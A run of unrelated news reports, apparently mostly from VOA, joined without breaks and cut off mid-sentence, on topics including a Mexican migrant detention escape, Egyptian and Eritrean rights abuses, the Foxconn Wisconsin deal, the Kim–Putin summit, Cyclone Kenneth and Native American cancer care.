Collapse of China. "BRI has generally been predatory," he said, pointing to Sri Lanka's decision to hand over a Chinese-built port on a long lease to rid itself of high-cost loans. At least 1,300 mainly Cuban migrants fled on foot from an immigration detention center on Mexicos southern border Thursday in the largest mass escape in recent memory. The National Immigration Institute said 700 of the Cubans had returned voluntarily, but 600 were still on the loose. The institute said agents inside the compound werent armed and there was no confrontation. Federal police with riot shields later streamed into the compound to control the situation, as a crowd of angry Cubans whose relatives were being held at the facility gathered outside. The Cubans claimed their relatives reported overcrowding and unsanitary conditions at the facility. My wife and child have been in there for 27 days in bad conditions, said Usmoni Velazquez Vallejo, as he waited outside for news. There is overcrowding, insufficient food and there isn't even medicine for them. The escape was embarrassing for the government, given that the centers holding capacity had been listed at less than 1,000 people. The escape of 1,300 meant it was probably at least at double its capacity, since not everyone being held there escaped. It was even more embarrassing coming on the same day Mexico's top human rights official toured the facility to oversee conditions there. Federal police enter an immigration detention center in Tapachula, Chiapas state, Mexico, late April 25, 2019. A large group of mainly Cuban migrants escaped on foot from the immigration detention center, about half of them later returned voluntarily. In 2011, when protests began in Egypts Tahrir Square, Hend Nafea was a college student in Banha, north of Cairo. As she saw the images of young people demanding an end to the three-decade rule of Hosni Mubarak, she knew she had to take part. I participated there not only to seek freedom, dignity, social justice and to call for human rights in Egypt, but also for my rights as a woman, Nafea said in an interview at VOAs studios in Washington. Nafea left school and traveled by bus, joining the protests without telling her family. And although the revolution exhilarated her, she soon saw an ugly side of the upheaval. Beaten and stripped On December 17, 2011, Nafea was participating in a protest against military rule when security forces attacked her. I was dragged, beaten and stripped, and there were around 15 soldiers beating me, sexually harassing me, touching private parts of my body. And they dragged me into the Shura Council building in Tahrir Square, Nafea said. Authorities arrested nine other women that day, Nafea told VOA, all of whom were held in a room for many hours, tortured with electric shocks and threatened with rape. Nafea said the soldiers finally released her to a military hospital after she lost consciousness. Nafea was handcuffed to a bed, even though her arm was broken. Her wounds were left to bleed, without treatment, for two days. The abuse of Nafea and other women that day provoked public outrage. Thousands of women marched in the streets, demanding an end to violence against women and military rule. Today, Nafea is the subject of a documentary, The Trials of Spring, which depicts how women influenced the Arab Spring revolutions. Womens roles Across the globe, women are playing leading roles in protest movements. In Sudan, 22-year-old Alaa Salah has become a symbol of the revolution after photos of her leading chants from the top of a vehicle were shared around the world. We want a better Sudan, a democratic state. One that judges all in accordance with the law, without favoritism. So were currently in the square until our demands are met, Salah told Reuters. And in Algeria, women have played a key role in protests that brought down longtime ruler Abdelaziz Bouteflika. A photo of an Algerian ballerina defiantly balancing on her toes in front of a flag has gone viral. Protests by women, particularly in Islamic societies, seem to be an especially powerful symbol, and security forces have reacted harshly, often using sexual violence as a tactic of suppression. They use gender-based violence to crush women and push women away from protests and from participating in the public space, Nafea said. They were blaming us, the women, for going to Tahrir Square instead of blaming the people who did this to us, Nafea said. We are fighters Despite the pain she has endured, Nafea says the sacrifice was worth it. She was forced to flee Egypt to Lebanon, and now lives in the U.S. But her efforts have brought awareness to systemic abuses in her home country. The Egyptian government tried and convicted her in absentia, and sentenced her to 25 years in prison for her role in the protests. Many may think that we are only victims, we are victims of our own men, society and government, and everyone around us. Yes, we are facing a lot of human rights violations, we are facing a lot of gender-based violence and discrimination, but we are fighters, Nafea said. Even when the repression is increasing in Egypt, Egyptian women are still fighting back. Wisconsin Gov. Tony Evers and Foxconn Technology Group officials are talking about making changes to the contract signed in 2017 that was based on constructing a larger display screen manufacturing facility than is now proposed. But neither side is giving details. So how might the deal be changed? And what's at stake for each side? Here are five areas to watch as talks continue, based on interviews with people familiar with the Foxconn deal and others like it: Jobs: It makes sense that Foxconn would want to open up the deal because it appears unlikely to meet the original jobs targets, said Bob O'Brien, president of U.S.-based Display Supply Chain Consultants, which tracks the global flat-panel industry. Foxconn already came up well short of its first-year target of 260 jobs, costing it $9.5 million in tax credits. This year's jobs goal has doubled to 520, and the 2020 goal when Foxconn says production will begin is nearly 2,000 jobs. Starting in 2027, it must have at least 10,400 workers to qualify. It makes sense that Foxconn would want to renegotiate to lower the threshold to qualify, O'Brien said. The current contract awards Foxconn up to $1.5 billion in tax credits if it hires 13,000 people by 2023 making an average salary of $53,875. Alan Yeung, Foxconn's leader for strategy in the U.S., this week suggested there's no way to predict whether Foxconn will meet the jobs target. ``Who has the crystal ball to predict if 13,000 jobs will be created by the year 2032? Esp in April `19,'' he tweeted. Yeung later told reporters Foxconn remained committed to hiring 13,000 people. ``We're not changing the deal ... especially the 13,000 jobs,'' he said. Size of factory: Foxconn could get another $1.35 billion in tax credits if it spends $9 billion on capital investments, primarily building construction and the purchasing of machinery and equipment. The original contract has Foxconn building what's called a Generation 10.5 facility. But Foxconn now plans to build a Generation 6 plant, which will make smaller display screens for cellphones and other devices. Opponents have said that wording referring to a Generation 10.5 plant puts the entire contract in jeopardy if Foxconn builds a different-sized factory. But Evers, in an interview, discounted that concern. ``I think that we're past that point and I don't think anybody would have ever called them out and say we're going to negate this deal because of that,'' Evers said. Level of credits: While Foxconn may want to lower minimum job-creation numbers to get credits, the state may want to make the benefits less generous. The credits for job creation and capital investment are much richer than for most economic development projects, a point that critics repeatedly point to as a fault with the contract. Foxconn is currently eligible for a 15% capital investment credit for expenditures on land and buildings, more than the typical 10%. It's eligible for a 17% credit on wages, more than double the usual 7%. Wisconsin went with the larger incentive payments because of the enormous promised scale of the project, which was projected to have massive ripple effects across the state's economy. President Donald Trump heralded it as the ``eighth wonder of the world'' and said it was a sign of a resurgence in American manufacturing. But with the scale of the project reduced, and hiring numbers in question, there will be pressure on the state to lower its commitment. Changes in leadership: The project has been in flux almost from the moment it began. The election of Foxconn critic Evers as governor, followed by the announcement earlier this month that Foxconn CEO Terry Gou plans to run for president of Taiwan, has added uncertainty. Gou was personally involved in the Wisconsin deal, traveling to the state multiple times to negotiate with then-Gov. Scott Walker and his administration and meet with Trump. There are more changes to come. In September, Evers will be able to appoint a new leader to the Wisconsin Economic Development Corp., which wrote the contract. New requirements: Renegotiating the contract would give Evers a chance to insert new environmental safeguards, but those would come at a cost that Foxconn would surely want to mitigate elsewhere. Evers could also attempt to put in place new requirements forcing Foxconn to do business with Wisconsin companies and hire workers from the state. The state may also want to include protections for local communities, which have already spent about $190 million on the project, O'Brien said. ``To me it's a partnership and we're going to be working together to solve it,'' Evers said. ``I suppose at some point in time we might not agree and then it becomes somewhat of a negotiation. But I truly believe that the changes that are made will be reasonable to all sides. Of course, you go in knowing it might not be.'' Editor's note: We want you to know what's happening, why and how it could impact your life, family or business, so we created a weekly digest of the top original immigration, migration and refugee reporting from across VOA. Questions? Tips? Comments? Email the VOA immigration team: ImmigrationUnit@voanews.com. Surviving war with a wheelchair In a U.N. first, a Syrian refugee this week shared with the Security Council what life in conflict is like for those living with disabilities. "I quickly realized that I was the main obstacle standing in the way of my family's safety," Nujeen Mustafa told the diplomats. "Every day, I feared that I could be the reason my family was one or two seconds too late. My brother called us 'the walking dead.' " Smugglers of the Caribbean Yadvinder Singh Bhamba knew he could go to prison for helping run a human smuggling operation. He had already done time once, before sneaking himself back into the U.S. When he was caught again, he told police that even without him, the business a worldwide, multilevel, country-hopping scheme "will never stop." Questioning the citizenship question The U.S. Supreme Court is considering whether the Trump administration followed the correct procedure to include a question on next year's census about citizenship. The proposed addition to the decennial survey rankled civil rights and immigrant advocates, and triggered a lawsuit, amid a backdrop of repeated decisions by the president that affect the country's foreign-born communities. Visa overstays under White House scrutiny This week, the Trump administration proposed punishing countries whose nationals overstay their U.S. visas. It's a move that could most directly affect a vulnerable group: African asylum seekers. From the Feds: A Texas couple will serve seven years in prison for forcing a young Guinean woman to be their maid and nanny for 16 years, starting when she was a child. Mohamed Toure, 58, and Denise Cros-Toure, 58, will also have to pay the victim more than $288,000 in restitution. The couple natives of Guinea and permanent U.S. residents face deportation after serving their time. Federal prosecutors indicted Erika Paola Intriago, 44, of Tampa, Fla., this week on charges of posing as an immigration attorney. Investigators allege Intriago targeted native Spanish speakers in Florida and Illinois, created fake federal agency documents, and threatened clients with deportation if they complained. Massachusetts Judge Shelley M. Richmond Joseph and court officer Wesley MacGregor were charged this week with blocking the courthouse detention by U.S. Immigration and Customs Enforcement of a Dominican man living in the U.S. unlawfully. The practice of immigration arrests in public buildings is controversial, especially when it pits local and state jurisdictions against federal ones. In a Facebook post, the Massachusetts attorney general called the indictment "a radical and politically motivated attack on our state and the independence of our courts." Yirgalem Fisseha will never forget the moment her world turned upside down. On February 19, 2009, Yirgalem, a poet and journalist, was working her shift at Radio Bana, a station in Asmara, Eritrea. Suddenly, at 4 p.m., Yirgalem and her colleagues were ordered to an impromptu meeting. Government officials accused the station, which broadcast educational programs, of disloyalty. Uniformed soldiers surrounded the building and arrested about 30 journalists inside. Officials held Yirgalem at Adi Abeto, a prison just outside the capital. As the interrogation dragged on and the questions became more bizarre, Yirgalem believed it was simply a case of mistaken identity. The officers accused Yirgalem and other Radio Bana journalists of communicating with an opposition radio station. I thought, because theyve already asked me so many questions, they were going to clarify things, and then they were going to send me home, she said. I was so confident about my innocence that I was worried about whoever did what they were asking about. But Yirgalem wasnt released. For the next six years, the government held her in solitary confinement, where she endured beatings and endless interrogations. After some time, they accused her of writing a subversive poem, lengthening her stay in prison. She denies all charges against her. I didnt even know that the radio station I was being asked about existed, she said. Most of my colleagues who were with me didnt even know that this radio station existed. Brushed under the carpet Yirgalem isnt the only Eritrean journalist to enter the governments crosshairs. According to the Committee to Protect Journalists, Eritrea has 16 journalists in prison, making it the worst jailer in sub-Saharan Africa. Year after year, the country ranks toward the bottom of press freedom indexes. In September 2001, officials shut down much of the countrys free press. Seven newspapers were shuttered in the crackdown, and numerous journalists faced arrest. Some remain imprisoned to this day. The government says the individuals it targets arent legitimate journalists, but rather pawns of opposition groups or foreign powers intent on subverting the ruling party. Temesghen Debesai, a former anchor for state-run Eri-TV who now lives in London, said reporting on jailed journalists isnt possible within Eritrea. To this day, nobody knows where they are, whether theyre alive or not. So that would have been a good story to cover, Temesghen said. But this is not the kind of story that youre allowed to cover. It was just brushed under the carpet, and no one ever heard about them. No room for maneuver Outside Eritrea, family members, activists and government officials have pushed for the release of some of the jailed journalists. Dawit Isaak, a journalist and Swedish citizen imprisoned since 2001, has been the subject of petitions, extensive global press coverage and diplomatic efforts by the Swedish government. His current whereabouts are unknown. Likewise, Seyoum Tsehaye, a photojournalist imprisoned since 2001, has been held incommunicado for nearly two decades. His niece has taken up his cause and founded an organization, One Day Seyoum, to call for his release. Today, no independent media outlets operate in Eritrea. Negative news about the countrys ruling party, the Peoples Front for Democracy and Justice, or criticism of its president, Isaias Afwerki, is unheard of in broadcast or print media. A handful of international news outlets have been granted access to the country, but the government monitors their reporters and tightly controls their access within the country. For local journalists, the choice is simple: Broadcast positive news, or face dire consequences. There is no room for maneuver. Its impossible for anyone. The people who work there have to survive, Temesghen said. If they say anything that is out of line, you know, youre going to get in trouble. But if you want to survive, you have to be able to stick to the rule book, which is sing praises. Say that everything is fine, he added. Outside reporting There are some rays of hope for Eritrean journalism. Exiled Eritrean journalists in France have founded Radio Erena, which relies on contributing reporters from across the globe and information secretly relayed from within the country to produce news programs in Tigrigna and Arabic. The station broadcasts back to Eritrea via satellite and shortwave radio. Still, Yirgalem and other Eritrean journalists long for the day when a vibrant, independent press can return to their home country. For us, its been almost 20 years since its been formally forbidden to express our ideas. And within the past 20 years, we have forgotten that it is our right to express ideas, and we have become like we have no right to think, no right to listen, and we have no right to be silent, Yirgalem said. We have so many people who are rotting in jail because they have been listening to other media outlets and radio stations. We have people in jail because they are thinking a certain way. In a historic move to bring back to Iraq the Yazidis kidnapped by Islamic State and taken to Syria, the Yazidi Supreme Spiritual Council announced it will allow children of Yazidi women born to IS members into the community. The council said in a statement Wednesday the decision was made to end years of debate over the issue of children born to IS fathers. "The Yazidi Supreme Spiritual Council issued a verdict to accept all survivors and accept that what happened to them was out of their control," according to the statement, signed by Hazim Tahseen Said, the son of late Yazidi chief Mir Tahseen Said Beg. In 2014, the top Yazidi spiritual leader, Baba Sheikh, decided to welcome Yazidi women back into their faith, but the fate of the children born to IS fighters remained uncertain. "The council has sent a committee of clerics to Syria to investigate the issue of kidnapped women and men after defeating IS to find them and bring them home," the statement added. Yazidis, an ethno-religious minority group of about 550,000 people, mostly reside in northern Iraq, in an area also populated by Kurds and Arabs. They are an insular group, keeping mostly to themselves. Marrying someone from another religion is an unpardonable sin in the Yazidi religion. Similarly, having extramarital relationships, even under duress, is thought to taint the bodies and souls of the community members, according to the religion. 'Devil worshippers' When Islamic State fighters attacked the community in August 2014, roughly 5,000 men and boys were murdered and thousands of women and children were enslaved. IS regarded the Yazidis as "devil worshippers," using women as sex slaves and brainwashing their children to become suicide bombers. Consequently, when hundreds of Yazidis began escaping enslavement during IS's retreat, the female victims found themselves stigmatized by their communities upon their return. "We uphold to the international community that Yazidis have throughout history been victims and we treat every survivor with pride, humanity, clarity," the council said, asking for international support in returning victims who are still stranded in Syria. The Kurdish-led Syrian Democratic Forces (SDF) announced the territorial defeat of IS in March, saying it rescued about 850 Yazidi women and children since 2015 during its battles with IS. Yazidi officials and advocacy groups, however, say more than 3,000 abducted members of their community are still missing. "Since the start of Baghuz battle, about 150 women and their children were freed," said Saad Bapir, a spokesperson to the Yazidi Nadia Murad Initiative and board member of Yazda Organization, referring to the U.S.-backed offensive against IS's last stronghold in eastern Syria. "According to our information, there are 3,100 women and children still missing," Bapir added. Historic move Bapir said the Yazidi Supreme Spiritual Council's decision Wednesday was a historic move to ensure the return of the victims and a landmark change for a religious minority that has previously rejected children born to outsiders. "This is an important statement because the Yazidi community is a conservative one and the spiritual leadership is trying to encourage a more peaceful and accepting stance toward these women and their children because what happened to these women wasn't in their control," Bapir told VOA. "They went through rape, abuse and enslavement, and they need their community now." As the women and children return home following the religious verdict, the next challenge for their community will be helping them recover from the trauma of life under IS, Bapir said. He said outside help likely will be needed, as most members of the community live in refugee camps because their towns were destroyed by IS war. "These women need rehabilitation and treatment in a Western country. About 1,100 Yazidi women survivors were transferred to Germany and received treatment. Many of them are now living normal lives," he added. North Korean leader Kim Jong Un, during his summit with Russian President Vladimir Putin, said peace and security on the Korean peninsula will entirely depend on the future U.S. attitude, state media Korean Central News Agency (KCNA) said Friday. Kim's remarks are seen as keeping pressure on the U.S. to be "more flexible" in accepting Pyongyang's demands to ease sanctions, compared to the U.S. stance during the collapsed second U.S.-North Korea summit in February in Hanoi, as he said earlier this month. Kim said at the time he will wait "till the end of this year" for the United States to change its mind. "The situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took a unilateral attitude in bad faith at the recent second DPRK-U.S. summit talks," KCNA reported Kim saying, using North Korea's official name, the Democratic People's Republic of Korea. Kim invited Putin to North Korea at a convenient time and Putin accepted, KCNA said. The first face-to-face talks between Putin and Kim, held Thursday on an island off the Russian Pacific city of Vladivostok, did not appear to have yielded any major breakthrough. The two leaders had an in-depth discussion on the ways for the two countries to promote the strategic communication and tactical collaboration in the course of ensuring peace and security on the Korean peninsula and in the region, KCNA said. Putin said afterward he thought a deal on Pyongyang's nuclear program was possible and that the way to get there was to move forward step-by-step in order to build trust. But any U.S. guarantees might need to be supported by the other nations involved in previous six-way talks on the nuclear issue, Putin said, which was seen as an attempt to use the summit to strengthen Russia's diplomatic clout as a global player. Both Russia and North Korea agreed to take positive measures in several fields in order to further cooperate in trade, economy, science and technology, KCNA said. Four years ago, Donald Trump campaigned in small towns like Marshalltown, Iowa, vowing to restore economic prosperity to the U.S. heartland. In his bid to replace Trump in the White House, Pete Buttigieg is taking a similar tack. The difference, he says, is that he can point to a model of success: South Bend, Indiana, the revitalized city where he has been mayor since 2012. The Democratic presidential contender has vaulted to the congested field's top tier in recent weeks, drawing media and donor attention for his youth, history-making status as the first openly gay major presidential candidate, and a resume that includes military service in Afghanistan. But Buttigieg's main argument for his candidacy is that he is a turnaround artist in the mold of Trump, although the Democrat does not expressly invoke the comparison with the Republican president. "I'm not going around saying we've fixed every problem we've got,"Buttigieg, 37, said after a house party with voters in Marshalltown. "But I'm proud of what we have done together, and I think it's a very powerful story." Critics argue improving the fortunes of a Midwestern city of 100,000 people does not qualify Buttigieg, who has never held national office, for the presidency of a country of 330 million. Others say South Bend still has pockets of despair and that minorities, in particular, have failed to benefit from its growth. Buttigieg has told crowds in Iowa and elsewhere that his experience in reviving a struggling Rust Belt community allows him to make a case to voters that other Democratic candidates cannot. That may give him the means to win back some of the disaffected Democratic voters who turned their backs on Hillary Clinton in 2016 to vote for Trump. Watching Buttigieg at a union hall in Des Moines last week, Rick Ryan, 45, a member of the United Steelworkers, lamented how many of his fellow union workers voted for Trump. The president turned in the best performance by a Republican among union households since Ronald Reagan in 1984. Ryan said he hoped someone like Buttigieg could return them to the Democratic fold. "He's aware of the decline in the labor force in America, not just in Indiana or Des Moines or anywhere else," Ryan said. "Jobs are going overseas. We need a find to way to bring that back." Randy Tucker, 56, of Pleasant Hill, Iowa, a member of the International Brotherhood of Electrical Workers, said Trump appealed to union members "desperate for somebody to reach out to them, to help them, to listen to their voice." Buttigieg could do the same, he said. "In my heart right now, he's No. 1." Past vs. future Buttigieg stresses a key difference in his and Trump's approaches. Trump, he tells crowds, is mired in the past, promising to rebuild the 20th century industrial economy. Buttigieg argues the pledge is misleading and unrealistic. Buttigieg says his focus is on the future, and he often talks about what the country might look like decades from now. "The only way that we can cultivate what makes America great is to look to the future and not be afraid of it," Buttigieg said in Marshalltown. Buttigieg knows his sexual preference may be a barrier to winning some blue-collar voters. But he notes that after he came out as gay in 2015, he won a second term as mayor with 80 percent of the vote in conservative Indiana. Earlier this month, he announced his presidential bid at the hulking plant in South Bend that stopped making Studebaker autos more than 50 years ago. After lying dormant for decades, the building is being transformed into a high-tech hub after Buttigieg and other city leaders realized it would never again attract a large-scale industrial company. "That building sat as a powerful reminder. We hoped we would get back that major employer that would fix our economy," said Jeff Rea, president of the regional Chamber of Commerce. Buttigieg is praised locally for spurring more than $100 million in downtown investment. During his two terms, unemployment has fallen to 4.1 percent from 11.8 percent. But a study released in 2017 by the nonprofit group Prosperity Now said not all of the city's residents had shared in its rebound. The median income for African-Americans remained half that of whites, while the unemployment rate for blacks was double. Regina Williams-Preston, a city councilor running to replace Buttigieg as mayor, credits him for the revitalized downtown. But she said he had a "blind spot" when it came to focusing on troubled neighborhoods like the one she represents and only grew more engaged after community pressure. "He understands it now," she said. "The next step is figuring out how to open the doors of opportunity for everyone." 'One of us' Trump touts the fact that the United States added almost 300,000 manufacturing jobs last year as evidence he made good on his promise to restore the industrial sector. But that growth still left the country with fewer manufacturing jobs than in 2008. The robust U.S. economy is likely the president's greatest asset in his re-election bid, particularly in states he carried in 2016 such as Iowa, Wisconsin, Michigan and Pennsylvania. He won Buttigieg's home state by 19 points over Clinton in 2016. Sean Bagniewski, chairman of the Democratic Party in Polk County, Iowa, said Buttigieg would be well positioned to compete with Trump in the Midwest. "People love the fact that he's a mayor," said Bagniewski, who has not endorsed a candidate in the nominating contest. "If you can talk about a positive future, and if you actually have experience that can do it, that's a compelling vision in Iowa." Nan Whaley, the mayor of Dayton, Ohio, which faces many of the same challenges as South Bend, agreed. "He's one of us," Whaley said. "That helps." North Korean leader Kim Jong-un attends a ceremony upon his departure from Russia, at the railway station in the far-eastern Russian port of Vladivostok on April 26. AFP North Korean leader Kim Jong-un on Friday wrapped up a three-day visit to Russia, apparently with lukewarm support from President Vladimir Putin for his push to break a logjam in nuclear talks with the United States. Kim's first summit with Putin in Vladivostok on Thursday appeared to have fallen short of his expectations as Moscow remained cautious about publicly backing Pyongyang at the risk of aggravating tensions with Washington, analysts said. Putin called for a peaceful resolution of the North's nuclear quandary, but he made no public mention in support of Pyongyang's demands that Washington ease economic sanctions and show flexibility in hitherto unfruitful nuclear negotiations. Putin also voiced support for endeavors to "normalize" the Washington-Pyongyang relationship and refrained from outwardly advocating for the phased, incremental denuclearization approach that the North favors. "I think Kim might have felt frustrated as there was no public statement on the part of Russia in support of the North's denuclearization formula," Park Won-gon, a professor of international politics at Handong Global University, said. "Russia appears to have taken the U.S. stance much into consideration, a reason why Putin has made statements just in broad generalities," he added. Before the summit, U.S. Special Representative for North Korea Stephen Biegun visited Moscow, apparently to call for support for U.S. efforts to realize the North's "final, fully verified" denuclearization. Chang Duck-joon, a professor of Russian diplomacy at Kookmin University, noted that Kim appears to have failed to use the Vladivostok summit to make a breakthrough in the negotiations with Washington that have been stalled since the no-deal summit between Kim and U.S. President Donald Trump in Hanoi in February. "Rather, Putin appears to have made Kim nervous by offering just vague diplomatic support so as to keep the North closer to the Russian side," he said. During the summit, Kim was seen striving to rally Russia's support in his drive for sanctions relief and economic development amid less-than-expected support from China, which is preoccupied with grueling trade negotiations with the U.S. Air strikes by Syrian regime ally Russia killed 10 civilians in the jihadist-held northwestern region of Idlib on Friday, a monitor said, as unsuccessful peace talks ended in Kazakhstan. The raids killed three civilians including a boy on the outskirts of the town of Kafranbel, and seven including a girl in the town of Tal Hawash, the Britain-based Syrian Observatory for Human Rights said. Syria's civil war has killed more than 370,000 people since it started in 2011, and endless rounds of negotiations have failed to stem the bloodshed. The Damascus regime has won back large parts of the country from rebels and jihadists since Russia intervened in the war in 2015. But several key areas remain beyond government reach, including Idlib, which is controlled by a former al-Qaeda affiliate. Russia and rebel-backer Turkey in September inked a buffer zone deal to prevent a massive regime offensive on Idlib and nearby regions, close to the Turkish border. But the area, currently home to some three million people, has come under increasing bombardment since jihadist group Hayat Tahrir al-Sham took full control of it in January. The latest air raids came as two days of talks on ending the war in Syria -- sponsored by Russia, fellow regime ally Iran, and rebel backer Turkey -- concluded in Kazakhstan. In a statement released after the meeting, the three countries expressed concern about HTS extending its influence in Idlib. They stressed their "determination to continue cooperation in order to ultimately eliminate" HTS and the Islamic State group, the statement said. US-backed forces expelled IS from the last patch of their 2014 "caliphate" last month, but the jihadists still have a presence in the Syrian desert and sleeper cells elsewhere. '200 dead since February' The United Nations has expressed worry over the new wave of bombardment on the Idlib region, around which a buffer zone was never fully implemented. "I am alarmed by the recent escalation of violence and hostilities in and around the demilitarised zone in north-western Syria," the UN regional coordinator for Syria, Panos Moumtzis, said Thursday. "Since February, over 200 civilians have reportedly been killed in Idlib," he said. The fighting had also resulted in 120,000 people fleeing to areas closer to the Turkey border, he added. Syria's war has displaced millions since it began with the repression of anti-government protests in 2011. The talks in Kazakhstan Friday ended without notable progress on forming a committee to draw up a post-war constitution for the country. The meeting had broached the issue with UN Special Envoy for Syria, Geir Pedersen, but further talks in Geneva would be needed, the joint statement said. The parties were committed to "the establishment and the convening of the Constitutional Committee at the earliest in Geneva, holding the next round of consultations in Geneva" and supporting UN efforts, it read. But talks in Kazakhstan would also continue, with Syria's neighbours Iraq and Lebanon to be invited to the next round of talks in July. Jordan and the United States have observed the talks in the past. After years of failed UN-led negotiations to end the war, Russia has taken a lead role in diplomatic efforts through the so-called Astana process. The capital of Kazakhstan was called Astana until last month, when it was renamed Nur-Sultan after the country's outgoing president. VOA U.N. correspondent Margaret Besheer contributed to this report. The second powerful cyclone to hit Mozambique in six weeks has left at least five people dead, destroyed homes and knocked out power, authorities said. Nearly 3,500 homes in parts of the country's northernmost Cabo Delgado province were partially or fully destroyed, and up to 700,000 people could be at risk, many left exposed and hungry as waters rise, the Associated Press reported. Cyclone Kenneth made landfall Thursday evening in the north of the country with sustained winds of 220 kilometers per hour, and the United Nations warned Friday of massive flooding ahead. The storm followed Cyclone Idai, which hit Mozambique in mid-March and was labeled by the U.N. as "one of the deadliest storms on record in the Southern Hemisphere." Idai caused devastating flooding and killed 1,000 people in Mozambique, Zimbabwe and Malawi. The World Food Program warned Friday that Kenneth could dump 600 mm (more than 23 inches) of rain on the region over the next 10 days, twice the amount of rain brought by Idai. Mozambique officials said Friday that a woman in the city of Pemba was killed by a falling tree. They said the storm had destroyed about 90 percent of the homes on the island of Ibo. Many homes in rural areas of Mozambique are made of mud. The cyclone also cut off electricity on the island and toppled a mobile phone tower, cutting off communications. Authorities said Pemba, the largest city in the cyclone-hit region, also had significant power outages. "Cyclone Kenneth may require a major new humanitarian operation,'' even as post-Cyclone Idai relief operations are continuing, U.N. humanitarian chief Mark Lowcock said. Antonio Carabante, relief delegate with the International Federation of Red Cross and Red Crescent Societies, said the organization was very concerned about the expected heavy rainfall. "While attention is often given to wind speed, we know from experience that it is rainfall and subsequent flooding and landslides that can be even more dangerous from a humanitarian perspective," he said. This was the first time on record that Mozambique had been hit by two cyclones in one season, U.N. officials said. Before reaching Mozambique, Kenneth swept over the island nation of Comoros, killing three people. Cathy Ute knew something was wrong. I couldnt eat and I hurt all over, said Ute, a member of the Eastern Shoshone tribe from the Wind River Indian Reservation in Fort Washakie, Wyoming. I was so tired all the time. Between 2014 and 2016, Ute made 22 visits to the Indian Health Service's Fort Washakie Health Center, one of two clinics serving a reservation population of nearly 11,000. Each time, her doctor diagnosed her with acid reflux. And he would give me these little antacid tablets and say, Its probably just stress, Ute said. Her doctor finally scheduled her for a computed tomography (CT) scan. And then he called and said, Youve got a big mass in your uterus, she said, adding, And I didnt even know what a mass was. Funding shortfalls Linda Burhansstipanov, a member of the Cherokee Nation of Oklahoma, is the founder and director of Native American Cancer Research (NACR), a community-based nonprofit in Pine, Colorado, that works to reduce cancer incidence and increase survival among American Indians and Alaska Natives (AI/ANs). She said Utes story isnt surprising. This is unfortunately the norm in many areas of Indian Country. According to the U.S. Centers for Disease Control, AI/AN communities in general have lower rates of cancer. But in certain regions, AI/AN cancer incidence and death rates from certain cancers gallbladder, stomach, liver and kidney, for example exceed those in the general population. Early diagnosis, intervention critical for survival For most cancers, if you wait six months, your cancer has progressed to the next stage, she said. And every time you elevate to a higher stage, you are looking at up to three times the cost of care and a bigger impact on your quality and quantity of life. The Indian Health Service (IHS), an agency of the U.S. Health and Human Services Department, is responsible for delivering health care to more than 2 million AI/ANs through a network of 600 hospitals and clinics on or near reservations. But the chronically underfunded agency can't meet all the needs for services such as early cancer screening. In cases where illness presents a serious threat to life, limb and senses, IHS facilities may contract with outside hospitals and specialists through whats called the Purchased/Referred Care (PRC) program. But not all patients qualify. And as the Government Accounting Office has noted, even when they do qualify, facilities may deny requests or put them off until funds become available. A review committee eventually approved sending Ute to a cancer facility in Salt Lake City, Utah, 500 kilometers and a seven-hour drive away. Like many rural Native Americans, Ute didnt own a car. We borrowed my nieces car. I think there was only $62 in my savings account, and we didnt have a credit card, so we couldnt stay in a motel, she said. We had to turn around and drive back home that same day. Angel navigators An important solution to these challenges is what our community calls Native Sisters or Brothers native patient navigators (NPNs), Burhansstipanov said. NPNs are trained to help patients navigate the complexities of cancer treatment. Because these navigators come from inside tribal communities, they know how difficult it is to get a referral, she said. So, they dont wait for IHS. They go through other systems and get the person into care more quickly. NPNs have access to programs that help pay for transportation and lodging. They educate patients on what to expect from treatment. They can arrange for translators and help instruct caregivers about patients cultural and spiritual needs. And because AI/ANs tend to have more long-term side effects from cancer treatment than other population groups, NPNs help survivors arrange for much-needed aftercare. While patient navigation has been around for decades, its still relatively new to Indian Country. Nationwide, out of 574 tribal nations, probably only 30 have trained NPNs, Burhansstipanov said. Her group is working to change that, offering training sessions four times a year. One of the lucky ones In early November 2017, Ute underwent surgery to remove her tumor and was sent home 10 days later. I had 89 metal stitches in my body, she said. My husband and niece had to give me a shot every day for a month so I wouldnt get blood clots. Resulting complications forced her to return to Utah several times for additional surgeries. It was months before she was deemed healthy enough to start chemotherapy. Fortunately, IHS and other insurance covered her treatment. But in most other ways, Ute said she got little tribal support. Burhansstipanov said NACR has, in the past, trained two different patient navigators at Wind River. And within two months, they were all working in different jobs, or they were no longer working for the tribe at all, she said. They're very dedicated, but the tribe just didnt have the funds to support them. And this isnt unique to Wind River. Today, Ute's cancer is in remission. "I still have the after effects of chemo, like muscle pain, and I can't remember some things. But I'm one of the lucky ones. I'm still here. But I feel so sorry for all those ladies who arent. Deputy Attorney General Rod Rosenstein is taking swipes at his critics as he prepares to leave the Justice Department. In a speech, Rosenstein made barbed remarks in the direction of former FBI Director James Comey, political pundits and the media Deputy Attorney General Rod Rosenstein is taking swipes at his critics as he prepares his exit from the Justice Department. In a speech Thursday night before a lawyers' group, Rosenstein made barbed remarks in the direction of former FBI Director James Comey, political pundits and the media. He suggested there were decisions made before he arrived at the Justice Department two years ago that he didn't agree with, likening himself to a man who lies down in a burning bed but doesn't know how the fire started. He also said "there was overwhelming evidence that Russian operatives hacked American computers and defrauded American citizens." Rosenstein is expected to leave his position now that special counsel Robert Mueller has submitted his Russia investigation report . A main government body responsible for the fight against slavery and labor infractions in Brazil is in a "calamitous" state, leading to a lower number of victims being rescued in recent years, top government officials told Congress on Thursday. The Labor Inspection Secretariat, which works with prosecutors and police to rescue victims, is understaffed and underfunded, said labor judge Guilherme Guimaraes, head of Brazil's National Association of Labor Judges. "The [working] conditions for labor inspectors, which are at the front in the fight [against slavery], is calamitous," said Guimaraes during a public hearing in the Brazilian lower house of Congress. According to officials, labor inspectors lack funds to pay for basic necessities like gas and maintenance for their cars or money to pay for their stays in cities where they travel to do inspections. The hearing, held by congressman Tulio Gadelha, invited representatives of government and judicial bodies responsible for Brazil's anti-slavery efforts to present their views. The top officials repeatedly said labor inspectors lack the means and personnel to do the field work necessary to rescue victims. Government data show that the number of workers rescued from slavery has steadily fallen in Brazil since 2012, when about 2,708 victims were rescued. In 2017, the number reached a record low of 639, before rebounding in 2018 to 1,153. Lack of funds The lower numbers are due, in part, to lack of funds, said the labor inspector's representative at the hearing, Carlos Fernando da Silva Filho. "In 2016 and 2017 ... we could not go into the field due to lack of money," da Silva Filho told lawmakers. In 2017, during a crippling recession, the Secretariat's budget was cut by 70 percent, the inspector's union said. Brazil formally acknowledged to the international community that slave labor existed in the country in 1995. To fight it, a 